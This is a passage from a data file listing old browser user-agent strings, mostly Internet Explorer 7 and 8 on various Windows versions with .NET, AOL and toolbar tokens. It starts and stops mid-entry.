(compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.3; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; OfficeLivePatch.1.3; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTbSTC-SRS/5.12.2.16752)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTbARS/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSSDMC2.5.2219.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E) chromeframe/8.0.552.237\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; Avant Browser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET4.0C; .NET4.0E; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/6.0; .NET4.0E; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/7.0; .NET4.0E; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 7.1; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6\nMozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; Nokia;N70)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)\nMozilla/4.0 (compatible; MSIE 7.9; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; ; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; ; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; InfoPat\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.0; AOLBuild 4327.5201; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.1; AOLBuild 4334.5011; Windows NT 6.1; WOW64; Trident/4.0; GTB7.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.5; AOLBuild 4337.43; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.104; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.110; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.111; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.122; Windows NT 5.1; Trident/4.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.122; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.124; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.12; Windows NT 5.1; Trident/4.0; GTB6.3)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.12; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.130; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.130; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.168; Windows NT 5.1; Trident/4.0; GTB7.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.168; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.17; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.27; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.27; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.5000; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.5000; Windows NT 5.1; Trident/4.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.5001; Windows NT 5.1; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.6; AOLBuild 4340.5004; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Android 2.2.2; Linux; Opera Mobi/ADR-1103311355; en) Opera 11.00\nMozilla/4.0 (compatible; MSIE 8.0; Linux armv6l; Maemo; Opera Mobi/8; en-GB) Opera 11.00\nMozilla/4.0 (compatible; MSIE 8.0; Linux armv7l; Maemo; Opera Mobi/4; fr) Opera 10.1\nMozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51\nMozilla/4.0 (compatible; MSIE 8.0; S60; SymbOS; Opera Mobi/SYB-1107071606; en) Opera 11.10\nMozilla/4.0 (compatible; MSIE 8.0; Windows 98; Win 9x 4.90; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) chromeframe/8.0.552.237\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;                 ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; AskTbSPC/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.5); KKman3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.6); .NET CLR 2.0.50727; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; (R1 1.6); KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; Media Center PC 3.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.4506.2152)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4;)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Windows-Media-Player/10.00.00.3990; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Zango 10.3.74.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; InfoPath.1; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbDVS2/5.13.1.18107)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; AskTbATU2/5.17.3.36670)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Zune 3.0; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Paros/3.2.13\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; MS-RTC LM 8; MS-RTC EA 2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSSDMC2.4.2011.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSSDMC2.4.2011.2; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSN Optimized;ENAU)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zune 